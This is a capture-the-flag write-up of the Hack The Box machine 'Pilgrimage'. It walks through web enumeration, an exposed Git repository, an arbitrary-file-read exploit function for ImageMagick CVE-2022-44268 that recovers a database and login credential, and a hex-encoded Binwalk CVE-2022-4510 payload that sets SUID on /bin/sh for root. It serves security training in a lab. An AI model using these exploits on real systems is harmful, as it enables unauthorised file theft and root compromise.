Post

HTB • Pilgrimage

Pilgrimage is an easy Linux-based Hack the Box machine created by coopertim13 that involves exploiting Common Vulnerabilities and Exposures (CVEs), PHP and Bash code review, and web enumeration. We first ran a port scan, revealing an SSH server on port 22, and an HTTP server on port 80. Exploration of the web server uncovered a Git data directory which we used to recover the site’s source code. We discovered a vulnerable ImageMagick instance being used in the PHP source to parse uploaded images. We used CVE-2022-44268 to recover the contents of arbitrary files including the web database, which contained credentials used to login via SSH as emily. An unusual script being run as root appeared to sort through files in a writable directory using an outdated version of Binwalk, which happened to be vulnerable to CVE-2022-4510. This vulnerability was exploited using a specially crafted PFS file to gain access as root.

Initial Recon

We began by setting up our environment and conducting a port scan using a custom nmap wrapper script. This script aids in quickly and reliably scanning for open ports on the target.

1
2
3
# Set up environment variables and run a port scan
echo rhost="10.10.11.219" >> .env # The machine IP address
. ./.env && ctfscan $rhost

The scan reported a total of two open ports:

TransportPortProtocolProductVersion
TCP22SSHOpenSSH8.4p1 Debian 5+deb11u1
TCP80HTTPnginx1.18.0

Web

A standard GET request sent to the HTTP server on port 80 was answered with a redirect to http://pilgrimage.htb. We added this hostname to /etc/hosts to easily access the intended website from our browser.

1
2
curl -i "http://$rhost" # request web index ~> found hostname: pilgrimage.htb
echo -e "$rhost\tpilgrimage.htb" | sudo tee -a /etc/hosts # Save hostname

Web index

Just clicking around the website, we discover a login and registration form at /login.php and /register.php respectively. We proceeded to brute-force additional paths using dirsearch.

1
2
# Brute-force files and directories
dirsearch -u http://pilgrimage.htb -e php,html,txt

Dirsearch quickly found a Git data folder stored at /.git. We recovered the entire Git repository associated with this folder using git-dumper.

1
2
3
# Recover Git repository from web server
git-dumper "http://pilgrimage.htb/.git" ./pilgrimage.git
cd pilgrimage.git

Code Review

In the repository we recovered, there were several PHP sources along with an ImageMagick AppImage executable used by index.php to shrink the uploaded images. There is also an SQLite database stored at /var/db/pilgrimage which is used to retrieve login credentials in login.php. After some review, we determined that there were no obvious vulnerabilities in the PHP source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
  $image = new Bulletproof\Image($_FILES);
  if($image["toConvert"]) {
    $image->setLocation("/var/www/pilgrimage.htb/tmp");
    $image->setSize(100, 4000000);
    $image->setMime(array('png','jpeg'));
    $upload = $image->upload();
    if($upload) {
      $mime = ".png";
      $imagePath = $upload->getFullPath();
      if(mime_content_type($imagePath) === "image/jpeg") {
        $mime = ".jpeg";
      }
      $newname = uniqid();
      exec("/var/www/pilgrimage.htb/magick convert /var/www/pilgrimage.htb/tmp/" . $upload->getName() . $mime . " -resize 50% /var/www/pilgrimage.htb/shrunk/" . $newname . $mime);
      unlink($upload->getFullPath());
      $upload_path = "http://pilgrimage.htb/shrunk/" . $newname . $mime;
      if(isset($_SESSION['user'])) {
        $db = new PDO('sqlite:/var/db/pilgrimage');
        $stmt = $db->prepare("INSERT INTO `images` (url,original,username) VALUES (?,?,?)");
        $stmt->execute(array($upload_path,$_FILES["toConvert"]["name"],$_SESSION['user']));
      }
      header("Location: /?message=" . $upload_path . "&status=success");
    }
    else {
      header("Location: /?message=Image shrink failed&status=fail");
    }
  }
  else {
    header("Location: /?message=Image shrink failed&status=fail");
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ($_SERVER['REQUEST_METHOD'] === 'POST' && $_POST['username'] && $_POST['password']) {
  $username = $_POST['username'];
  $password = $_POST['password'];

  $db = new PDO('sqlite:/var/db/pilgrimage');
  $stmt = $db->prepare("SELECT * FROM users WHERE username = ? and password = ?");
  $stmt->execute(array($username,$password));

  if($stmt->fetchAll()) {
    $_SESSION['user'] = $username;
    header("Location: /dashboard.php");
  }
  else {
    header("Location: /login.php?message=Login failed&status=fail");
  }
}

ImageMagick

We found the ImageMagick version packed into the magick executable by running it with the --version flag, then looked for Common Vulnerabilities or Exposures (CVEs) affecting that version.

1
2
# Execute with user-mode virtualization
qemu-x86_64 ./magick --version
1
2
3
4
5
6
Version: ImageMagick 7.1.0-49 beta Q16-HDRI x86_64 c243c9281:20220911 https://imagemagick.org
Copyright: (C) 1999 ImageMagick Studio LLC
License: https://imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP(4.5) 
Delegates (built-in): bzlib djvu fontconfig freetype jbig jng jpeg lcms lqr lzma openexr png raqm tiff webp x xml zlib
Compiler: gcc (7.5)

We eventually came across a relevant information disclosure bug tracked as CVE-2022-44268.

ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary. file (if the magick binary has permissions to read it).

There was a detailed proof-of-concept (PoC) explaining the steps to exploit this vulnerability on GitHub. We used this information to create a shell function that automated exploitation in this instance, then we fetched the SQLite database referenced in the PHP source.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# function to automate exploitation of CVE-2022-44268 (in this case)
pilgrimage_file_disclosure() {
  
  # Create blank template PNG
  [ ! -f ./blank.png ] && convert xc:none ./blank.png

  # Add desired file name to profile field
  pngcrush -text a "profile" "$1" ./blank.png ./x.png &> /dev/null

  # Collect the parsed file
  exfil=$(curl http://pilgrimage.htb/ -F 'toConvert=@x.png' -so /dev/null -w '%{redirect_url}' |
    grep -Eo 'http://pilgrimage\.htb/shrunk/[0-9a-f]+\.png')
  curl $exfil -so ./exfil.png

  # Extract data from profile field
  identify -verbose ./exfil.png | grep -E -A1 '^[0-9a-f]{72}$' | xxd -r -p
}

pilgrimage_file_disclosure "/etc/hosts" # Test helper function
pilgrimage_file_disclosure "/var/db/pilgrimage" > ./pilgrimage.db # Recover database

Within the SQLite database, the users table contained a single row with the username emily and password abigchonkyboi123. We used these credentials to login to the machine via SSH.

1
2
3
4
5
6
7
# Dump "users" table
sqlite3 -markdown ./pilgrimage.db << EOF
SELECT * FROM users;
EOF

# Login with credentials from the database
ssh "emily@$rhost"

Privilege Escalation

When printing the process tree, we noticed an unusual bash script running as root at /usr/sbin/malwarescan.sh. This script was reviewed in search of a path forward.

1
2
3
4
5
# List process tree
ps auxf | more

# Inspect malware scan script
more /usr/sbin/malwarescan.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
  filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
  binout="$(/usr/local/bin/binwalk -e "$filename")"
  for banned in "${blacklist[@]}"; do
    if [[ "$binout" == *"$banned"* ]]; then
      /usr/bin/rm "$filename"
      break
    fi
  done
done

It appears to run a tool called Binwalk to identify file signatures for each file in the uploaded images directory at /var/www/pilgrimage.htb/shrunk. If the output of binwalk -e $filename produces the substring “Executable script” or “Microsoft executable”, then the file is deleted. The script itself did not seem to have any vulnerabilities, so we checked the version of Binwalk.

1
2
# Get binwalk version
/usr/local/bin/binwalk --help | head
1
2
3
4
Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
...

CVE-2022-4510

When searching the web for known vulnerabilities affecting this version of Binwalk, we came across CVE-2022-4510. There was also an ExploitDB entry providing a proof-of-concept exploit written in Python.

A path traversal vulnerability was identified in ReFirm Labs binwalk from version 2.1.2b through 2.3.3 included. By crafting a malicious PFS filesystem file, an attacker can get binwalk’s PFS extractor to extract files at arbitrary locations when binwalk is run in extraction mode (-e option). Remote code execution can be achieved by building a PFS filesystem that, upon extraction, would extract a malicious binwalk module into the folder .config/binwalk/plugins. This vulnerability is associated with program files src/binwalk/plugins/unpfs.py. This issue affects binwalk from 2.1.2b through 2.3.3 included.

Exploitation

After looking at the CVE description and Python PoC, it was noted that the exploit was simply comprised of a special PFS file followed by some Python code. We copied the PFS contents from the PoC to a bash variable, then added some trailing Python code to add the SUID/SGID bits to /bin/sh, and finally copied the exploit to a new file in /var/www/pilgrimage.htb/shrunk. after a few seconds, our code was executed and we spawned a root shell.

1
2
3
4
5
6
7
8
9
10
# Exploit CVE-2022-4510
# https://www.exploit-db.com/exploits/51249
pfs="\x50\x46\x53\x2f\x30\x2e\x39\0\0\0\0\0\0\0\x01\0\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x63\x6f\x6e\x66\x69\x67\x2f\x62\x69\x6e\x77\x61\x6c\x6b\x2f\x70\x6c\x75\x67\x69\x6e\x73\x2f\x62\x69\x6e\x77\x61\x6c\x6b\x2e\x70\x79\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x34\x12\0\0\xa0\0\0\0\xc1\0\0\x2e"
# This will add the SUID/SGID bits to /bin/sh
code="import os;os.chmod('/bin/sh',0o6755)"

# Deliver the exploit
echo -e "$pfs$code" > /var/www/pilgrimage.htb/shrunk/pwnwalk.pfs
# Spawn root shell
sleep 5s; /bin/sh -p

After grabbing the flags, we removed the SUID and SGID bits from /bin/sh along with any filesystem artifacts left from exploitation of CVE-2022-4510.

1
2
3
4
5
# Clean up
chmod -s /bin/sh # Normalize /bin/sh
rm -f /var/www/pilgrimage.htb/shrunk/pwnwalk.pfs # Remove exploit PFS
rm -f /root/.config/binwalk/plugins/binwalk.py # Remove malicious plugin
exit # Pwned!
This post is licensed under CC BY 4.0 by the author.